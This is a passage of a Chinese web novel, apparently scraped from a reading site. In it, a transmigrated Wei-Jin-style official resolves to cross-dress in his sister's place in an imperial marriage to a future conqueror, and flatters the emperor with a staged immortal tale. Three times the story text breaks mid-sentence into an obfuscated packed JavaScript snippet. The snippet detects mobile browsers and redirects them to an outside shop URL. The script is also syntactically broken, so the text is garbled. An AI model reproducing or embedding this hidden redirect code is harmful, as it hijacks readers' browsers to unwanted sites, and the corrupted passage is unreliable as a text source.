《女装替嫁龙傲天后[基建]》 1. 赐婚 “兰卿既如此顾念凉州,那朕便做主,将汝女嫁予新西北王为妃,成全你们翁婿相和!” 南兴立都第十六年的最后一天,都城建安下了一场罕见的大雪。 与大雪一起炸响的,是天子的雷霆震怒。 三个月前,驻守凉州的已故承昭太子长子、西北王霍元致因朝廷派发的军粮久久不到,孤军被困,战死疆场,膝下只有一垂髫小儿。 正立帝令其弟霍元骞继承王位,进京受封,并暗中下旨,命他在凉州寻访异域美人进献。 不料霍元骞得了王位这样天大的好处,却一点不给正立帝面子,派来先遣使臣当着一众朝臣的面,拒绝了“寻访异域美人进献”的旨意,更是直接质问朝廷支援粮草为何失踪。 正立帝大怒,竟失去理智,命人将西北王使臣拖至菜市口斩首。 曾做过帝师的御史中丞兰博蕴刚正不阿,直言劝谏,换来的却是自己被打入狱中,以及女儿被赐给新西北王为妃的赐婚诏书。 …… 建安城兰府,这座新建才十余年的大宅院如今愁云惨淡,悲声不断。 主院旁边的院落,密不透风的毡帘将室内围得一片昏暗,也隔绝了渗人的寒意,屋内地板光亮整洁,小泥炉上的陶釜里咕嘟咕嘟煮着药草。 室内一侧,挂着纱幛的卧榻上,一位眉眼清俊、貌若好女的青年沉沉睡着,昏迷不醒。 突然,随着院中一簇积雪从梅树梢落下,他的眉心抽动几下,猛地睁开了眼睛。 “郎君!郎君!”植仆捉刀惊喜的声音传入兰遥混乱的大脑,让他找到一丝清明。 “太好了,小郎君,您终于醒啦!” 兰遥失神地看着眼前的景象,“我是……” “小郎君,主君在朝上触怒天子,被下了大狱,陛下要把咱家女郎嫁到凉州那鸟不拉屎的地方,这可怎么办啊!” “我……霍元骞……” “对,新西北王好像是叫霍元骞,听说他是个杀人如麻的疯子,女郎明珠玉兰般的品貌,嫁给他可怎么活啊!” “……”兰遥单手扶额,清润的眼睛合上又睁开,打断值仆慌乱的言语,“捉刀。” “哎!小郎君您说。” “阿母和阿妹现在何处?” “女郎本来在给小郎君煎药,听说这个消息后哭晕了过去,主母去照看女郎了。” 兰遥眉头轻蹙,挥手揭开纱幛,“你去请阿母过来,告诉她我醒了,有要事相商。” 捉刀见小郎君进入状态,就像吃了颗定心丸,忙爬起来到门口穿上鞋跑远了,“我马上去!” 兰遥素来不喜欢身边伺候的人多,捉刀走后,偌大的屋室内一片寂静。 他起身披上洁白的鹤氅,踩着木屐走到窗边,揭起一角毡帘,外面的天光和雪光就一起透了进来。 兰遥静静站着,像一只在寒潭中伫立的仙鹤,整理混乱的思绪。 他是南兴御史大夫兰博蕴的独子兰遥,自幼聪颖多才,未到及冠之年就被司徒府评为上上品,授官度支曹度支郎,只用不到半年时间就厘清了南兴积压十多年的赋税,被称赞“筹算无双”,在朝中颇有美名。 他也是一个胎穿十八年,才记起现代记忆的,不知是幸运还是不幸的冷门专业宗教学的学生。 兰遥轻轻叹了口气,宗教学这种天坑专业,对穿越到底有什么帮助,还是穿越到群雄争霸的乱世! 回忆起上辈子的事后,兰遥很快就意识到,自己如今生活在一本风靡全网的,以魏晋时期为背景原型的架空男频争霸文《纵横问鼎》里。 捉刀口中“杀人如麻的疯子”西北王霍元骞,正是这本书的龙傲天主角,他会自凉州苦寒之地起兵,在谁都不看好的情况下一步步攻城掠地,招贤纳士,最终问鼎天下。 而他的家族兰家,则是一家子有些存在感的悲催炮灰。 原文中,兰遥这个身份是早夭了的,赐婚发生后,他的母亲不愿唯一活着的孩子嫁去凉州,率领部曲携女出逃,却被反派大将军谢稹率军阻拦。 为了保护母亲,他的胞妹兰晚“自愿”走入了送嫁的队伍。因为体弱多病,加上天寒路险,兰晚在去凉州的路上一病而亡,悲报传来后,母亲荀愿君万念俱灰,悬颈自尽。 而他的父亲兰博蕴则是个一心忠君的死脑筋,被昏君搞到家破人亡也不肯背叛君主,在霍元骞攻破建康城时,直接自尽殉国了。 自此兰家上下几口人达成团灭成就,想想就让人忍不住掬一把辛酸泪。 这一次,兰遥成了那个夭折的兰家子,顺利活到了十八岁,可那场改变兰家所有人命运的赐婚,还是发生了。 兰遥修长的手指无意识攥紧宽敞的衣袖,思考破局之法。 原书剧情已经证明,带着母亲和妹妹出逃不是好选择,可他也不能真让妹妹出嫁,兰晚自幼体弱多病,古代医疗条件又差,就算做万全的准备,兰遥也不敢保证她可以摆脱原剧情活下去。 再从长远看,南兴朝廷疲弱,皇帝昏庸,天下即将大乱,群雄逐鹿之际,想要保全家人,他应该尽早做打算。 那么,作为一个有原书剧情记忆的穿越者,要选择一方雄主效力,还有谁会比未来登上帝位的最终赢家霍元骞更合适呢? 而且作为经典型男主,霍元骞对手下功臣良将绝对没得说,登临大位后所有追随他的人都得到了封赏,绝不会有兔死狗烹之事。 兰遥站在窗下,柔和的光透过窗纸映入他琉璃般的眸子,他唇角微微上扬,心里渐渐有了计较。 …… “阿遥,你的头疾可好些了?” “阿母莫担心,已经大好了。”兰遥让人在屋室中央摆设坐榻,母亲荀愿君坐在上首,一起来的脸色惨白的妹妹兰晚则坐在自己身边。 傅婢们在小炉上煮好茶汤,按吩咐悄声退下,给母子三人留出隐秘的交谈空间。 “头疾无碍便好,今晨听到你晕过去,阿母心都差点跳出来。”荀愿君叹气,总算是听到了个好消息。 兰遥笑笑,没有进一步解释,他最近几日总是莫名头晕,伴随着精神恍惚的症状,只能和度支曹告了假在家养病。 现在想来,这应该是现代记忆觉醒的前兆,如今两世的记忆都已回来,头疾自然也就好了。 “先不说这个。”荀愿君摆手,“阿遥,你速速收拾一番,只带心腹值仆和贴身之物,我们趁天黑之前离开建康。” 果然,原书剧情来了,兰遥垂眸问道,“阿母是要带我们逃?” 荀愿君冷哼,“我早就劝告你父,不用对皇位上那人多尽心,他却偏说受过先帝隆恩,不能袖手旁观。” “现在可好,自己下了大狱,还把女儿赔了进去,我绝不可能把晚儿嫁到凉州去,我们去颍川投奔你舅父,到了颍川直接装病不出,看他还奈我何!” 荀愿君的五官淡然悠远,像仕女图中立在花树下的美人,眼角略染着岁月的风霜,此时发起怒来,通身的气度让人不敢直视。 她是颍川荀氏的嫡支贵女,在这个皇权式微、各州割据、世家当道的时代,荀愿君底气十足。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159598|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“阿母已经派人去城外田庄上调用部曲了?” “嗯,阿母的陪嫁中有三百部曲,兵甲二百副,骏马三十匹,有他们护送,我们可以一路平安抵达颍川,不用担心流寇与匪徒。” “至于你父……”荀愿君眉头一挑,她当初嫁给兰博蕴,是荀氏对青年才俊的投资,两人的感情说不上多坏,但也没有多好,“他好歹当过皇帝的夫子,皇帝想杀他,那些士大夫们会拦着的,就让他在牢里多待些时日吧。” 兰遥苦笑,轻轻摇头,“阿母,我们走不了的。” “阿遥此言何意?” “阿母只说不用担心流寇与匪徒,但若朝廷军队前来阻拦,那三百部曲,可有一战之力?” 荀愿君眉心一跳,“眼下旨意刚下,皇帝昏庸,反应没有那么快,我们只要尽快——” “皇帝是没有那么快,可大将军谢稹呢?” “他?”荀愿君眉头皱得更深。 大将军谢稹尚长公主,十七年前长安被匈奴攻破后,他率领朝臣携还是小皇子的正立帝渡江南下,在建康拥立新皇登基。如今他手握十万兵马,位极人臣,可剑履上殿,赞拜不名,建康城有传言暗道,在南兴,和皇帝一样姓霍都没有姓谢好使。 “阿父刚正不阿,有言直谏,多次得罪过谢大将军;我此前清查赋税,查过他田庄中的隐户,害他失了一大笔钱粮;还有他儿子谢酬去岁想求娶阿妹,被我们当面拒绝……兰家早已是他的眼中刺。” “阿母信不信,谢稹一定派人死死盯着我们,我们的牛车驶不到城门,就会被他带兵拦下。” 荀愿君沉默片刻,咬牙骂道,“谢氏老奴,欺人太甚!” 兰遥温声安抚母亲,“阿母别急,事情还有转机,我们遵照旨意,就嫁一个‘兰家人’给西北王又如何呢?” “你是说从兰氏宗亲中找?”荀愿君皱眉,“皇帝是要诛我们的心,不会满意,何况难道因为心疼自己女儿,就让别人家的女郎去送死吗?” 兰遥摇头,看了看妹妹,指向自己,“阿母,我与阿妹同胞而生,面容相似,有些不正经的人常暗中说我貌若好女。” “荒谬!”荀愿君怒斥。 一直静静听阿母和阿兄交谈的兰晚也急道,“阿兄说这话是什么意思?我宁可一头撞死,也不会让阿兄替我去、替我去嫁到凉州的!” 兰遥看着母亲和妹妹,胸中浮现一股暖意。 他拨弄小泥炉中的炭火,轻声问道,“阿母觉得,天下还能太平多久,未来皇位上的人是谁?” “你是说……霍元骞?”作为世家贵女,荀愿君的政治素养比许多寒门之士都高,兰遥一开口,她就明白了其中深意。 “若论宗室,东海王、汝南王占据富饶之地,底蕴深厚,若论兵权,谢稹老奴早就在暗窥神器,想要篡权夺位。” 荀愿君满目不解,她了解儿子在时局上的素养,正因如此,她更不明白为何儿子会看好霍元骞。 “西北王的封地凉州无粮少兵,又多战乱,自保尚且艰难,何况登临大位?” “他虽是已故承昭太子的嫡子,比寻常宗室王更有资格,但如今这天下,皇位可不是你更有资格就能坐上去的。” 兰遥顶着母亲不赞同的目光,坦然一笑,双眸中似有北辰明光,“阿母,我却觉得,凉州是龙兴之地。” “我不是要委曲求全嫁给西北王,我是要辅佐雄主,涤荡天下!” “叮——检测到优质宿主已正式进入剧情,天命系统激活,请宿主根据新手指引检查面板。” 2. 系统 兰遥话音落下,一道突兀的、绝不该在这个时代出现的机械音突然在他耳边响起。 他拨弄炭火的手微微一顿,悄悄观察母亲和妹妹,发现两人都对此毫无察觉。 “阿遥?” 兰遥收起那一丝惊讶,稳定心绪,继续眼下的话题,“阿母再想想,我们可还有别的路可选?” 荀愿君沉默许久,艰难开口道,“那便依你所言……” “替嫁之后,谢氏老奴放松监视,我就以你头疾加重为由,替你上书辞官,带假扮成你的阿晚去颍川避人耳目。” “阿遥,你自幼聪颖有主意,一定要好好回来。” 兰遥面朝荀愿君的方向,在坐榻上俯身下拜,久久不起,“阿母生儿,恩重于山,今朝辞去,万望珍重。” 兰晚看着眼前的一幕,双目通红,苍白的小脸上浮现一层不健康的红晕,“阿母,阿兄,我……” “阿晚,你可知自己的职责?”兰遥突然正色问妹妹。 兰晚一愣,“什么?” “我走之后,你就要成为‘兰遥’,要守住替嫁的秘密不被发现,还要帮助阿母、支撑家族,你可能做到?” 兰晚脸上的茫然持续了一会儿,渐渐被新的东西替代,她眼中亮起不一样的光芒,重重点头,“我一定可以的,阿兄,我们在颍川等你回来!” 兰遥轻笑,“好,等阿兄从龙归来,辅佐新帝登基,挣个三公之位,到时候阿晚想要什么就有什么。” “你啊……”荀愿君原本满腔悲意,也被儿子逗乐了,有还没去当谋士就惦记着三公之位的吗? 兴朝不设宰相,地位最高的八位朝臣合称八公,其中太宰、太傅、太保为上公,只是无实权的纯粹的荣誉头衔,其余八公中,文臣分太尉、司徒、司空三公,武将则有大司马和大将军两个头衔。 位列三公,是一位文臣能达到的最高地位,荀愿君本觉得兰遥只是为了让自己宽心,但看他的样子,怎么好像真打算去凉州大展拳脚? “阿母,既然决定已下,我们要早做准备,不如先派人去田庄通知部曲首领不用来了,免得被谢禛抓住把柄。” 荀愿君摇头道,“不,还是叫他来一趟,你当面和他问一问部曲的情况。” “阿母?” “阿遥,你说霍元骞能当帝王,阿母还是不信,阿母真不想护住了女儿,却让儿子置身险地。” “我没有多少傍身之物给你,那三百部曲,我留一百护送我和阿晚去颍川,其余二百连同相应的骏马与兵甲,你都带去凉州吧。” “阿母,这可是您的陪嫁……” 荀愿君抬起下巴,嗤笑一声,“当年我出嫁时,长安尚未破城,谁也想不到匈奴会灭兴朝,贵女陪嫁以多金石古籍为荣,你外祖父却说,陪嫁那些东西,不如陪嫁部曲兵甲有用。现在想来,阿父所言句句在理……” 荀愿君拉着兰遥的手,眉尖上挑,“阿母分嫁妆给出嫁的‘女儿’天经地义,我看谁敢指摘?你远赴凉州,手里有一批自己的人,阿母也放心些,实在不行,你就让他们护送你跑回颍川。” 这是阿母今日不知第多少次提到“跑路”了,兰遥心中既温暖又好笑,一一应下。 接下来,荀愿君去安抚府中下人,安排各项事宜,兰晚去整理自己的东西,方便兄长以后伪装成自己,兰遥则有了短暂的空闲时间。 他让仆役们全部退下,坐在窗边的长塌上,手指捏着玉石雕琢的棋子把玩,琢磨方才脑内响起的机械音。 “系统?”他在心里默念一声,下一秒,一道造型很科幻的透明光幕突然跳了出来,浮现在他眼前。 “……” 居然是真的,胎穿十八年毫无动静,突然送系统这么玄乎的金手指?连龙傲天主角都没有的待遇居然落到了我头上? 兰遥一时沉默,脑子里闪过很多东西,比如计划是否需要变动,比如系统在这个时代可以做的事,但很快他便重新聚焦于眼下,先解决迫在眉睫的问题。 光幕上缓缓浮现出一行兰遥已经有些不太熟悉的简体汉字,他仔细辨认—— “女装替嫁剧情线启动中,请宿主确认” “……” 能申请换一个描述吗?他明明是去投奔龙傲天主角做谋士,辅佐他争霸天下,为什么剧情线关键词是女装和替嫁…… 兰遥无语地尝试了一会儿,发现这句话无法更改,只能确认后进入主页面,目前的系统只是个未升级的初始版本,大多界面要么点不进去,要么空空如也。 兰遥按指引研究了一圈,发现了三个可以理解和使用的功能。 第一个是积分系统,目前兰遥账目上有五积分,他查看了一下,是每日登陆签到的奖励,按新手指引的说法,当累计获得积分达到五十,系统会进阶为一级系统。至于积分还有什么用途,有没有其他获取方式,兰遥一概不知,只能暂且放在一边。 第二个是兰遥觉得最神奇的,系统居然给了他一个空间,真正的随身空间。 不过这个空间只有一立方米大小,不能放置活物,也没有灵泉仙草之类的东西,宰头大点的猪都放不下,能起到什么作用还有待商榷。 至于第三项功能,看着闪烁着“新手送五抽,必出五星宝物”字样的界面,兰遥一边觉得好笑,一边生出许多怀念的感觉,怀念那个遥远的在现代玩游戏抽卡坠机的自己。 这个抽奖系统界面也太像现代抽卡手游了,不知道有没有逼氪操作? 兰遥一边感慨,一边来了个五连抽,一阵金光闪过,一金二白一灰一透明五个光团浮现在界面上,除了新手必出的五星金光,果然没有任何高星宝物出现。 不知道系统奖池里都有什么? 兰遥选择先看五星宝物,那是一本虚幻的书形的物品,代表某种知识,当看清它的名字后,兰遥沉默了。 “《行星发动机维护与保养》……” 兰遥哭笑不得地把这本虚幻的书送回系统仓库,“你很超前,可惜,太超前了。” 就算他有系统,就算霍元骞是位面之子龙傲天,想把类似魏晋时期的封建社会发展到开行星发动机,那也要十几辈子之后了! 这个新手五星宝物毫无用处,不过看到它后,兰遥对系统的抽奖池充满了期待。 这次的知识没用,不代表以后抽不到有用的,如果能抽到与时代适配的火炮制作、兵器打造、粮食耕作方面的知识,在这个时代一定能大杀四方! 怀着这样的心情,兰遥把剩下四个白色和灰色的光团依次看了一遍,还真让他看到了一件很有用的东西。 在系统奖池中,金色代表珍宝五星,紫色是稀有四星,白色是优良三星,灰色是普通二星,至于一星,是什么都没有的透明光团,只会返还十分之一个抽奖票。 兰遥觉得很有用的,正是那两个三星的白光团,它们的物品详情上写着同样的信息——“星际基础营养剂*20支,每支30ml,可为成年人类提供身体耗能三十日”。 虽然和行星发动机一样科幻,但这种物品归根结底,与古代某种极其重要的物资可以划上等号——粮食。 乱世最重要的一是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159599|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵,二是粮,有兵可以保护粮食不被抢走,有粮可以招募源源不断的兵卒,两者结合,就有了割据一方的资本。 荀愿君的陪嫁部曲有三百,这已经是一个非常大的数字,再多部曲不是荀家不愿给,而是给了也养不起。 养一个兵一月吃半斛粮,十个兵吃五斛,一千个兵就是五百斛,养一年时间,那就是六千斛的粮食。你拿不出粮,兵卒可不会给你卖命。 因此,在这个世道,能稳定养兵人的是少数,更多失去家园的百姓成了流窜在各地饥肠辘辘的流民。 有些脑子和力气的流民,会落草为寇自立门户,其余则随波逐流逃难,哪里给吃的去哪里卖命,流民聚集多了,形成一股松散的势力,统御他们的人就会被叫做“流民帅”。 凉州天气寒冷,土壤贫瘠,原书中霍元骞起步阶段,粮草一直是大问题,兰遥本来还在愁如何解决这个问题,现在星际基础营养剂的出现,让他看到了希望。 当然,使用营养剂代替粮食,还得想一个妥善的“包装”…… “小郎君,方才田庄上来人了,主母派人说待会儿让人带他过来。” 仆役的通传打断了兰遥的思绪,他拿起一旁的户扇,起身整理衣衫,“捉刀,你快去亲自请人过来。” 室内重新掌了灯,傅婢们在屋子中央摆上两副独榻和案几,又端上吃食。 这个时代,固定的室内家具还没有发展成体系,坐榻、案几等物往往是根据来客人数随时摆放的。 兰遥走到小院门口,去迎接从田庄来的部曲首领,室外天色渐暗,雪已经停了,寒冷的空气让人打了个激灵。 今日是腊日,年终之日,在兴朝是很重要的节日,建康处处充满了欢声笑语,只有兰府因为那道赐婚诏书,没人敢欢笑庆祝,仆役们脸上都带着忐忑,不知主家的未来在哪里。 兰遥等了十几个呼吸,捉刀就领着人出现在了小院门口,那人三十多岁的年纪,猿臂蜂腰,五官坚毅,身上充满杀伐之气,放在一群人里,轻松就能显出不同来。 看到院门口的兰遥,他面露惊讶,急忙上前,“小郎君身份贵重,怎可以尊迎卑,真是折杀我也。” 兰遥笑道,“稚叔何必客气,您劳苦功高,深受阿母信任,我理应敬重。” 来人名为黄稚,曾参加过十七年前的长安之战,随军队保护朝臣一路打到建康,立下赫赫战功,却因为没有背景,不但战功被抢,还差点全家遭殃。 幸好他在南下过程中,救过几位荀愿君的部曲,部曲们找到主家为他求情,荀愿君珍惜英豪,出手相助,把他救了下来,此后黄稚就带着家人们留在荀愿君的田庄上,为主家训练部曲。 而在恢复现代记忆后,兰遥还记起了他未来的剧情。 在原书中,荀愿君因女儿病逝的打击太大,悬梁自尽,黄稚护送兰晚的棺材回到建康,听闻噩耗后悲愤不已,直接带着部曲们离开田庄,寻找报仇的机会。 后来天下大乱,黄稚聚集上万流民,割据江夏、义阳几郡,成为威震一方的流民帅,给朝廷和谢稹造成了极大的麻烦。 直到男主霍元骞率大军打到义阳附近,与黄稚大战几十个回合赢下他,又答应帮他向谢稹复仇,才招降了这位猛人。 这样一位忠义双全、可以带兵、还武力值不低的猛将,对现在的兰遥来说,完全是瞌睡来了递枕头,必须以最高规格对待! 兰遥手握户扇,笑意吟吟,“稚叔快请,我命厨房做了羊肉汤饼和鹅炙,我们边吃边聊。” “啊?”搞不清状况的黄稚大脑宕机了。 3. 面圣 直到被兰遥拉到正房,坐在柔软的坐榻上,面前放了一大盆羊肉汤饼,黄稚都有点懵。 他平日一直在田庄训练部曲,很少见主家的小郎君,但小郎君的名声,他却早有耳闻。 聪颖多才、容貌俊美、气度非凡,上能与名士们谈玄论道,惊艳四座;下能厘清赋税,不惧强权,筹算无双。 每次听到别人夸赞小郎君,黄稚都与有荣焉,这是他们家的郎君,这是主母生的芝兰玉树! 而现在,这位出身不凡、品行高贵的小郎君,居然如此敬重地出门迎接他这样一个泥腿子,温声夸赞他的功绩和武艺,认可他的能力,老天,他不会是在做梦吧! 兰遥胃口小,心里又压着事,只吃了几口就放下了筷子,他一直等黄稚吃完汤饼和烤鹅,才让仆役们退下,摆正脸色,“稚叔,阿母可对你说了我们的打算?” 黄稚这才发现兰遥早就不吃了,他黑脸发红,努力咽下不雅的饱嗝,胡乱整理了下衣摆,让自己看起来正经一些。 “小郎君,主母全都告诉我了。主家如此信任我,我此后便由小郎君差遣,鞍前马后,万死不辞!” 黄稚回想起荀愿君的话,感觉浑身充满了热意和干劲。 “我知道你本事不低,因时局被困在田庄上,可惜了一身武艺。这次你护送阿遥去凉州,正可以大展拳脚,说不定能成就一番事业。” 凉州……黄稚不知道凉州的情况,也不认识西北王,但他见过西北王的父亲承昭太子! 那日长安之战,承昭太子身先士卒、浴血奋战的身姿一直深深刻在他的脑海里,老子英雄儿好汉,想来那西北王不会太差,至少比现在皇位上的草包强。 “稚叔,我们田庄佃户的情况,你能不能给我详细说说?” “小郎君,田庄眼下有佃户共七百余人,其中部曲三百一十六人,工匠五人,其余都是老弱妇孺,主母让我挑选二百强健的部曲,连同所有工匠,一起随您去凉州。” 荀氏陪嫁的部曲,经过二十年时间,有些死亡、有些年老,但他们的孩子又会长大补充进去,使人数维持在一个稳定的数字。 这些人无田无粮,一家老小都在田庄,完全依附主家生活,平时耕种,战时则武装起来成为私兵,这就是“部曲”这种私人武装的运行逻辑。 兰遥沉思片刻,“稚叔,陪嫁队伍中部曲太多,会引起谢稹的警觉,你挑选五十人给我,其余一百五十人连同他们的家眷,你带他们先行一步,等出了豫州我们再会和如何?” 黄稚犹豫了一下后说,“小郎君,按理我不该多问,但这些人跟着我十几年,我总得给他们个交代。眼下距离秋收还有大半年时间,就算去凉州耕种,也一时半会儿收不上粮食,您要他们把家眷一起带上,可有那么多粮食养?” 如果不考虑其他因素,把部曲们的家眷一起带走,可以让他们更忠诚,更有归属感,家眷们本身也是生产力。 但就像黄稚说的,带上这么多人,哪里来的粮食养呢? 兰遥微微一笑,将户扇的长柄搭在臂弯,摆出一个神秘悠远、超凡脱俗的神情。 “稚叔不必担忧,我近日研究仙法小有所成,可画符为粮,吃一口能抵两口。” 黄稚一脸呆滞,“小郎君……会仙法?” 兰遥肃容道,“此事干系重大,是我们安身立命的根本,稚叔万不可在离开建康前透露出去。” 他想明白了,他在现代的宗教学专业,看似对穿越毫无用处,实则不然。在古代,装神弄鬼明明是退可游历讨饭,近可争霸天下的神级技能! 从科学角度集众家所长用宗教包装系统,转化为竞争力,就是他的优势区间! 建康名士喜爱谈玄论道,研究道法的人很多,不时就有某某名士得道的消息传出,见兰遥如此严肃认真,黄稚一下子就信了,忙答应道,“我明白了,小郎君考虑周到,就这么办。” 兰遥换上笑脸,“此外,我还想请稚叔选一位可靠之人,待我明日从宫中出来,替我送一封书信去凉州。” “书信?” “给西北王的书信,快马加鞭,越快越好。” …… 腊日就在这样紧张压抑的氛围中一晃而过,南兴立都第十七年的第一天,随着呼啸的风声悄然降临。 兰遥在卯时三刻准时睁开眼,先打开系统界面签了个到,看到积分+5,算了算攒出五十积分进阶系统需要的时日,才从卧榻上起身。 傅婢们如流水般进屋,送上熨烫妥帖的官袍和进贤冠,帮郎君更衣。 兴朝大臣们的官袍分为五色,不同季节穿不同颜色,冬日穿的是皂色,即无亮光的黑色。宽袖长衣的皂色纱袍上身后,兰遥的气质在矜贵的基础上沉稳了许多,冷色调的皮肤被皂色衬得洁白如雪。 他坐在铜镜前,先用介帻包起乌黑的长发,再戴上单梁的进贤冠,插笄簪固定,最后在头冠两侧系好长长的丝带冠缨,才算是完成了整套官服的穿戴。 男子二十及冠,兰遥虽未到弱冠之年,但因为已经入朝为官,所以出席正式场合需要戴冠。 兴朝贵族阶级间,正式场合的服饰是一件很严肃的事情,穿错轻则被嘲讽,重则引发攻讦。 兰遥想起现代有个词叫“魏晋风流”,以魏晋为原型的兴朝在这方面不遑多让,很多脸不够白的士大夫,穿好官袍后还要在脸上抹一层粉,体现风流雅趣。 一切收拾妥当后,兰遥遣人去母亲院里说了一声,又留下话安抚妹妹,才出门乘坐牛车前往宫城。 “小郎君,主君刚触怒了陛下,您今日去觐见,陛下会见您吗?”捉刀抱着兰遥早上命人找出来的白瓷坛子,有些紧张。 “他会的。”兰遥摸了下袖中的奏章,风轻云淡道,“陛下的心思,并不难猜。” 捉刀不明所以,只能抱紧怀中巴掌大的瓷坛。牛车平稳行驶,瓷坛中的液体轻微晃动,捉刀闻到了一阵浓郁的酒香,比建康最出名的酒庐里最昂贵的酒还要诱人,难道是主母给郎君的压箱底的宝贝? …… 今日是一年初始的元日,朝臣休沐,皇帝也不用上朝,正立帝却没有睡好安稳觉,辰时刚到就睁开了眼。 他看了眼枕边沉睡的谢氏皇后,想到自己堂堂天子,至今膝下无子,连美人都不能肆意享用,脸上流露出几分憋屈和愤怒,悄然起身去了前面的显阳殿。 “陛下。”内侍弯着腰进来,“今日是元日,陛下可要宣召几位亲信大臣宴饮?” “不宣。”正立帝脸色发冷,他哪里来的亲信大臣,朝中不是和谢稹穿一条裤子的,就是像兰博蕴那样只会和他唱反调的。 “那……”内侍摸了下腰间沉甸甸的金错刀,阴柔的声音再次在殿内响起,“度支郎兰遥在宫城外求见陛下,陛下可要宣他进来?” “兰遥,兰博蕴的儿子?” 正立帝有些犹豫,他对兰遥的印象比对兰博蕴好许多,因为兰遥要比他父亲识趣,不会板着脸当面反对他的旨意,而且很有本事,之前在度支曹厘清赋税给他弄出了一大笔钱粮。 此外兰遥还年轻又好看,名声也很好,有这么优秀的臣子,更显得他是位贤明的君主了。 正立帝想当一个知才善用的明君,他还指望兰遥继续忠君干活呢,肯定不能让臣子寒心,得安抚一二,但现在见兰遥,万一兰遥给兰博蕴求情,或者求他收回赐婚旨意…… “陛下,兰度支郎带着一坛神仙酒,说自己是来替妹妹谢恩的。” 正立帝抬眼,“果真?” “这是兰度支郎的奏章,陛下可要览阅?” “呈上来。” 正立帝展开一尺长的简牍,几眼扫过后,突然抚掌大笑,“好!不愧是朕的爱卿,快宣度支郎进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159600|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫!” 内侍退下,一路疾走到宫城外,领等候在外面的兰遥进来,二人脚步不停地走在宽敞的宫道上,新建才十余年的恢宏宫殿群在晨光下静静伫立。 “陛下今日心情不错,度支郎可宽心些。”看在金错刀的份上,内侍压低声音提醒。 兰遥抬手按住额头,眉头微蹙,“多谢王内侍好意。” “度支郎的头疾还未痊愈?”见兰遥俊秀的脸染上痛苦,内侍心里闪过几分惋惜,多好看的郎君啊,怎么就病了呢。 兰遥惨然一笑,“头疾难医,不必在意,别让陛下久等了。” 内侍用衣袖擦了擦眼角,“度支郎的忠心真叫咱家感动啊。” 忠心吗?兰遥脸上演着戏,心里嗤笑一声,他今日来装忠臣,当然是为了从正立帝手里要到更多东西! 走过长长的宫道,踏入显阳殿,满殿暖意和香风让人仿佛置身仙境,兰遥控制自己不去算这里一天要烧掉多少炭火,捧起抱在怀中的白瓷坛子。 正立帝颇感兴趣地问,“爱卿说此酒乃神仙酿造,可有来处?” 兰遥笑道,“回禀陛下,臣昨夜于院中赏雪,忽然神魂交感于天地,冥冥中见一白须老道在月下独酌,臣上前拜会,老道自言乃南极仙翁,正在昆仑山玉虚宫中饮酒,问我因何来此。” 正立帝听得聚精会神,“想来是爱卿得了仙缘,误入神仙居所,那仙翁可还说了什么?” “仙翁说昆仑山不是凡人久留之地,赠我一坛新酿成的神仙酒,便送我回去了。待我回神,已回到自家院中,唯有怀中多了一坛玉髓佳酿。” 兰遥抱着从系统中抽出的灰色二星物品——精典五粮液,脸不红心不跳地说,“我想此酒为神仙酿造,世间只有天子之尊能够享用,特意一早进献给陛下。” 正立帝脸上笑意更深,让内侍把酒坛捧到案上,嗅着那比御酒还要香醇无数倍的酒香,不经意地问,“此酒大将军可享用?” 兰遥心中了然,故作惊讶,“大将军虽勇武,但只是一介俗人,岂不可惜了神仙酒。” 见正立帝愈发高兴,兰遥趁热打铁,开始明里暗里地顺着正立帝的小心思说话,顺便加一些玄谈和神仙事迹,提升言语的可信度。 兰遥说,谢大将军的儿子谢酬之前想求娶我妹妹,我们狠狠拒绝了,我妹妹可是帝师的女儿,只有宗室王才配娶,您这赐婚太有眼光了。 兰遥说,我父亲昨天是糊涂了,可他也是一心为陛下啊,他一打岔,谢大将军和皇后不都忘了您想要异域美人的事?绝对不是说陛下您怕他们啊,您这是敬重皇后,是仁君啊! 兰遥又说,新西北王的使臣还在牢里关着呢,他干事确实不厚道,但新西北王年纪轻轻刚没了兄长,惧怕谢大将军与皇后,不敢进献美人很正常,哪能谁都有陛下这样的心胸气度呢?他好歹是您大侄子,您又给他做了媒人,就再疼疼小辈呗。 一番对奏下来,正立帝的心情越来越舒畅,整个人都沉浸在自己是大权在握的明君的兴奋中,顺着兰遥的话说,“爱卿所言有理,兰氏女出嫁西北王,是朕赐婚的良缘,朕该出一份嫁妆,这——” 正立帝突然又冷静了,他的钱粮可以用来给自己享乐,可以用来堆在库房里发霉,但白白送出去那绝不可能。 兰遥早就料到了这种情况,图穷匕见,“怎敢叫陛下破费,陛下若想给阿妹添妆,臣倒有一想法。” 